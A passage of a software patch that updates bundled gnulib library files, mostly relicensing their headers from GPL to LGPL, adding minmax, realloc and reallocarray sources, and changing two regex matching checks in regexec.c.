++# GNU Lesser General Public License for more details.
+ #
+-# You should have received a copy of the GNU General Public License
++# You should have received a copy of the GNU Lesser General Public License
+ # along with this program. If not, see <https://www.gnu.org/licenses/>.
+
+ # POSIX states that when the character is found, memchr must not read extra
+--- a/gnulib/lib/mempcpy.c
++++ b/gnulib/lib/mempcpy.c
+@@ -1,18 +1,18 @@
+ /* Copy memory area and return pointer after last written byte.
+ Copyright (C) 2003, 2007, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+
+--- a/gnulib/lib/memrchr.c
++++ b/gnulib/lib/memrchr.c
+@@ -9,17 +9,17 @@
+ adaptation to memchr suggested by Dick Karpinski (dick@cca.ucsf.edu),
+ and implemented by Roland McGrath (roland@ai.mit.edu).
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 3 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #if defined _LIBC
+--- /dev/null
++++ b/gnulib/lib/minmax.h
+@@ -0,0 +1,60 @@
++/* MIN, MAX macros.
++ Copyright (C) 1995, 1998, 2001, 2003, 2005, 2009-2021 Free Software
++ Foundation, Inc.
++
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
++
++ This file is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
++
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
++
++#ifndef _MINMAX_H
++#define _MINMAX_H
++
++/* Note: MIN, MAX are also defined in <sys/param.h> on some systems
++ (glibc, IRIX, HP-UX, OSF/1). Therefore you might get warnings about
++ MIN, MAX macro redefinitions on some systems; the workaround is to
++ #include this file as the last one among the #include list. */
++
++/* Before we define the following symbols we get the <limits.h> file
++ since otherwise we get redefinitions on some systems if <limits.h> is
++ included after this file. Likewise for <sys/param.h>.
++ If more than one of these system headers define MIN and MAX, pick just
++ one of the headers (because the definitions most likely are the same). */
++#if HAVE_MINMAX_IN_LIMITS_H
++# include <limits.h>
++#elif HAVE_MINMAX_IN_SYS_PARAM_H
++# include <sys/param.h>
++#endif
++
++/* Note: MIN and MAX should be used with two arguments of the
++ same type. They might not return the minimum and maximum of their two
++ arguments, if the arguments have different types or have unusual
++ floating-point values. For example, on a typical host with 32-bit 'int',
++ 64-bit 'long long', and 64-bit IEEE 754 'double' types:
++
++ MAX (-1, 2147483648) returns 4294967295.
++ MAX (9007199254740992.0, 9007199254740993) returns 9007199254740992.0.
++ MAX (NaN, 0.0) returns 0.0.
++ MAX (+0.0, -0.0) returns -0.0.
++
++ and in each case the answer is in some sense bogus. */
++
++/* MAX(a,b) returns the maximum of A and B. */
++#ifndef MAX
++# define MAX(a,b) ((a) > (b) ? (a) : (b))
++#endif
++
++/* MIN(a,b) returns the minimum of A and B. */
++#ifndef MIN
++# define MIN(a,b) ((a) < (b) ? (a) : (b))
++#endif
++
++#endif /* _MINMAX_H */
+--- a/gnulib/lib/msvc-inval.c
++++ b/gnulib/lib/msvc-inval.c
+@@ -1,18 +1,18 @@
+ /* Invalid parameter handler for MSVC runtime libraries.
+ Copyright (C) 2011-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+
+--- a/gnulib/lib/msvc-inval.h
++++ b/gnulib/lib/msvc-inval.h
+@@ -1,18 +1,18 @@
+ /* Invalid parameter handler for MSVC runtime libraries.
+ Copyright (C) 2011-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _MSVC_INVAL_H
+ #define _MSVC_INVAL_H
+--- a/gnulib/lib/msvc-nothrow.c
++++ b/gnulib/lib/msvc-nothrow.c
+@@ -2,18 +2,18 @@
+ with MSVC runtime libraries.
+ Copyright (C) 2011-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+
+--- a/gnulib/lib/msvc-nothrow.h
++++ b/gnulib/lib/msvc-nothrow.h
+@@ -2,18 +2,18 @@
+ with MSVC runtime libraries.
+ Copyright (C) 2011-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _MSVC_NOTHROW_H
+ #define _MSVC_NOTHROW_H
+--- a/gnulib/lib/nl_langinfo-lock.c
++++ b/gnulib/lib/nl_langinfo-lock.c
+@@ -1,17 +1,17 @@
+ /* Return the internal lock used by nl_langinfo.
+ Copyright (C) 2019-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2019-2020. */
+--- a/gnulib/lib/nl_langinfo.c
++++ b/gnulib/lib/nl_langinfo.c
+@@ -2,17 +2,17 @@
+
+ Copyright (C) 2007-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/open.c
++++ b/gnulib/lib/open.c
+@@ -1,17 +1,17 @@
+ /* Open a descriptor to a file.
+ Copyright (C) 2007-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2007. */
+--- a/gnulib/lib/pathmax.h
++++ b/gnulib/lib/pathmax.h
+@@ -2,18 +2,18 @@
+ Copyright (C) 1992, 1999, 2001, 2003, 2005, 2009-2021 Free Software
+ Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _PATHMAX_H
+ # define _PATHMAX_H
+--- a/gnulib/lib/printf-args.c
++++ b/gnulib/lib/printf-args.c
+@@ -2,18 +2,18 @@
+ Copyright (C) 1999, 2002-2003, 2005-2007, 2009-2021 Free Software
+ Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* This file can be parametrized with the following macros:
+ ENABLE_UNISTDIO Set to 1 to enable the unistdio extensions.
+--- a/gnulib/lib/printf-args.h
++++ b/gnulib/lib/printf-args.h
+@@ -2,18 +2,18 @@
+ Copyright (C) 1999, 2002-2003, 2006-2007, 2011-2021 Free Software
+ Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _PRINTF_ARGS_H
+ #define _PRINTF_ARGS_H
+--- a/gnulib/lib/printf-parse.c
++++ b/gnulib/lib/printf-parse.c
+@@ -1,18 +1,18 @@
+ /* Formatted output to strings.
+ Copyright (C) 1999-2000, 2002-2003, 2006-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* This file can be parametrized with the following macros:
+ CHAR_T The element type of the format string.
+@@ -48,16 +48,7 @@
+ #include <stddef.h>
+
+ /* Get intmax_t. */
+-#if defined IN_LIBINTL || defined IN_LIBASPRINTF
+-# if HAVE_STDINT_H_WITH_UINTMAX
+-# include <stdint.h>
+-# endif
+-# if HAVE_INTTYPES_H_WITH_UINTMAX
+-# include <inttypes.h>
+-# endif
+-#else
+-# include <stdint.h>
+-#endif
++#include <stdint.h>
+
+ /* malloc(), realloc(), free(). */
+ #include <stdlib.h>
+--- a/gnulib/lib/printf-parse.h
++++ b/gnulib/lib/printf-parse.h
+@@ -2,18 +2,18 @@
+ Copyright (C) 1999, 2002-2003, 2005, 2007, 2010-2021 Free Software
+ Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License along
+- with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _PRINTF_PARSE_H
+ #define _PRINTF_PARSE_H
+--- /dev/null
++++ b/gnulib/lib/realloc.c
+@@ -0,0 +1,63 @@
++/* realloc() function that is glibc compatible.
++
++ Copyright (C) 1997, 2003-2004, 2006-2007, 2009-2021 Free Software
++ Foundation, Inc.
++
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
++
++ This file is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
++
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
++
++/* written by Jim Meyering and Bruno Haible */
++
++#include <config.h>
++
++#include <stdlib.h>
++
++#include <errno.h>
++
++#include "xalloc-oversized.h"
++
++/* Call the system's realloc below. This file does not define
++ _GL_USE_STDLIB_ALLOC because it needs Gnulib's malloc if present. */
++#undef realloc
++
++/* Change the size of an allocated block of memory P to N bytes,
++ with error checking. If P is NULL, use malloc. Otherwise if N is zero,
++ free P and return NULL. */
++
++void *
++rpl_realloc (void *p, size_t n)
++{
++ if (p == NULL)
++ return malloc (n);
++
++ if (n == 0)
++ {
++ free (p);
++ return NULL;
++ }
++
++ if (xalloc_oversized (n, 1))
++ {
++ errno = ENOMEM;
++ return NULL;
++ }
++
++ void *result = realloc (p, n);
++
++#if !HAVE_MALLOC_POSIX
++ if (result == NULL)
++ errno = ENOMEM;
++#endif
++
++ return result;
++}
+--- /dev/null
++++ b/gnulib/lib/reallocarray.c
+@@ -0,0 +1,39 @@
++/* reallocarray function that is glibc compatible.
++
++ Copyright (C) 2017-2021 Free Software Foundation, Inc.
++
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
++
++ This file is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
++
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
++
++/* written by Darshit Shah */
++
++#include <config.h>
++
++#include <stdlib.h>
++#include <errno.h>
++
++#include "intprops.h"
++
++void *
++reallocarray (void *ptr, size_t nmemb, size_t size)
++{
++ size_t nbytes;
++ if (INT_MULTIPLY_WRAPV (nmemb, size, &nbytes))
++ {
++ errno = ENOMEM;
++ return NULL;
++ }
++
++ /* Rely on the semantics of GNU realloc. */
++ return realloc (ptr, nbytes);
++}
+--- a/gnulib/lib/regcomp.c
++++ b/gnulib/lib/regcomp.c
+@@ -4,16 +4,16 @@
+ Contributed by Isamu Hasegawa <isamu@yamato.ibm.com>.
+
+ The GNU C Library is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+--- a/gnulib/lib/regex.c
++++ b/gnulib/lib/regex.c
+@@ -4,16 +4,16 @@
+ Contributed by Isamu Hasegawa <isamu@yamato.ibm.com>.
+
+ The GNU C Library is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+--- a/gnulib/lib/regex.h
++++ b/gnulib/lib/regex.h
+@@ -4,16 +4,16 @@
+ This file is part of the GNU C Library.
+
+ The GNU C Library is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+--- a/gnulib/lib/regex_internal.c
++++ b/gnulib/lib/regex_internal.c
+@@ -4,16 +4,16 @@
+ Contributed by Isamu Hasegawa <isamu@yamato.ibm.com>.
+
+ The GNU C Library is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+--- a/gnulib/lib/regex_internal.h
++++ b/gnulib/lib/regex_internal.h
+@@ -4,16 +4,16 @@
+ Contributed by Isamu Hasegawa <isamu@yamato.ibm.com>.
+
+ The GNU C Library is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+--- a/gnulib/lib/regexec.c
++++ b/gnulib/lib/regexec.c
+@@ -4,16 +4,16 @@
+ Contributed by Isamu Hasegawa <isamu@yamato.ibm.com>.
+
+ The GNU C Library is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+@@ -1220,9 +1220,13 @@ proceed_next_node (const re_match_contex
+ {
+ re_node_set *cur_nodes = &mctx->state_log[*pidx]->nodes;
+ re_node_set *edests = &dfa->edests[node];
+- bool ok = re_node_set_insert (eps_via_nodes, node);
+- if (__glibc_unlikely (! ok))
+- return -2;
++
++ if (! re_node_set_contains (eps_via_nodes, node))
++ {
++ bool ok = re_node_set_insert (eps_via_nodes, node);
++ if (__glibc_unlikely (! ok))
++ return -2;
++ }
+
+ /* Pick a valid destination, or return -1 if none is found. */
+ Idx dest_node = -1;
+@@ -1414,7 +1418,7 @@ set_regs (const regex_t *preg, const re_
+ update_regs (dfa, pmatch, prev_idx_match, cur_node, idx, nmatch);
+
+ if ((idx == pmatch[0].rm_eo && cur_node == mctx->last_node)
+- || re_node_set_contains (&eps_via_nodes, cur_node))
++ || (fs && re_node_set_contains (&eps_via_nodes, cur_node)))
+ {
+ Idx reg_idx;
+ cur_node = -1;
+--- a/gnulib/lib/setlocale-lock.c
++++ b/gnulib/lib/setlocale-lock.c
+@@ -1,17 +1,17 @@
+ /* Return the internal lock used by setlocale_null_r.
+ Copyright (C) 2019-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2019. */
+--- a/gnulib/lib/setlocale_null.c
++++ b/gnulib/lib/setlocale_null.c
+@@ -1,17 +1,17 @@
+ /* Query the name of the current global locale.
+ Copyright (C) 2019-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2019. */
+--- a/gnulib/lib/setlocale_null.h
++++ b/gnulib/lib/setlocale_null.h
+@@ -1,17 +1,17 @@
+ /* Query the name of the current global locale.
+ Copyright (C) 2019-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Bruno Haible <bruno@clisp.org>, 2019. */
+--- a/gnulib/lib/size_max.h
++++ b/gnulib/lib/size_max.h
+@@ -2,18 +2,18 @@
